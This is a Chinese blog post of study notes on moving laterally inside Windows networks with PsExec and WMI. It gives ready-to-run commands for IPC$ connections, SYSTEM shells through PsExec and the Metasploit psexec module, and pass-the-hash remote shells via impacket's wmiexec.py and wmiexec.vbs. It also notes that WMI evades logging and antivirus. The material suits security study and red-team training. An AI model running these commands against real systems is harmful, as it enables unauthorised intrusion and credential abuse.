内网学习笔记-PsExec和WMI使用

1、PsExec

PsExec 是 PSTools 工具包里的一部分,其下载地址为:https://download.sysinternals.com/files/PSTools.zip

利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。

建立 ipc$ 连接

1
2
3
net use \\192.168.0.201\ipc$ "Nan" /user:administrator
或者
net use \\192.168.0.201 /u:Nan.com\administrator "Nan"

删除ipc$连接

1
2
net use * /del /y	#断开所有ipc连接
net use \\192.168.0.201\ipc$ /del #断开单个ipc连接

在已经建立 ipc$ 的情况下,执行以下命令就可以获得 system 权限

1
PsExec.exe -accepteula \\192.168.0.201 -s cmd.exe

如果没有建立 ipc$ 连接,也可以直接使用 PsExec 指定用户名密码进行连接。-s使用system权限运行

1
2
3
PsExec.exe \\192.168.0.201 -u administrator -p Nan -s cmd.exe
-u 域\用户名
-p 密码

或者执行以下命令直接回显命令结果

1
PsExec.exe \\192.168.0.201 -u administrator -p Nan -s cmd.exe /c "ipconfig"

在使用 PsExec 时需要注意以下几点:

  • 需要远程系统开启 admin$ 共享(默认是开启的)
  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

MSF 中也有 PsExec 的利用模块,使用方法如下:

1
2
3
4
5
use exploit/windows/smb/psexec
set rhost 192.168.0.201
set smbuser administrator
set smbpass Nan
run

2、WMI

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。

由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

wmiexec.py

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445端⼝传回显)

1
2
3
python3 wmiexec.py administrator:Nan@192.168.0.201   #如果有机器明文密码可直接通过wmiexec连接
python3 wmiexec.py -hashes LMHASH:(NTHASH值) administrator@192.168.0.201 #如果没有明文密码可以通过哈希进行传递
python3 wmiexec.py -hashes LMHash:NTHash 域名/用户名@目标IP ##如果没有明文密码可以通过哈希进行传递

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能。

wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

1
cscript //nologo wmiexec.vbs /shell 192.168.0.201 administrator Nan

使用 vmiexec.vbs 执行单条命令

1
cscript wmiexec.vbs /cmd 192.168.0.201 administrator Nan "whoami"

3、PsExec与WMI的区别

PsExec会产生大量的日志,而 Windows 默认不会将 WMI 的操作记录在日志里。


内网学习笔记-PsExec和WMI使用
https://nan-918.github.io/2022/04/30/内网学习笔记-PsExec和WMI使用/
作者
Nan-911
发布于
2022年4月30日
许可协议